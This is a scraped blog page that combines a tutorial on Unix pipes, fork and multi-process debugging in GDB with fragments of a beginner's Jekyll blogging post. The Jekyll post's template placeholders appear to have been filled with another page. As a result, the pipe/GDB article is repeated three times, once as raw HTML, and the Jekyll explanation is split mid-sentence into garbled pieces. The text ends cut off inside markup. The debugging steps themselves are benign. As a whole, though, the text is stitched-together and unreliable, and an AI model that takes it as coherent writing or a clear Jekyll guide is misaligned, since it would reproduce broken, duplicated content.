    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    indefault.htmlwith the whole content of this file(post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    <!DOCTYPE html>
    <html>
    	<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
    
    	<body>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
      	</body>
    </html>
    

    notice this is a complete HTML file and the ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    placeholder is where the content ofpost.html``` should fit into.

    The {% include foo.ext %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    <head>
    	<meta charset="utf-8">	
    </head>
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    <!DOCTYPE html>
    <html>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     start -->
    	<head>
    		<meta charset="utf-8">	
    	</head>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     end -->
    	
    	<body>
    	
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
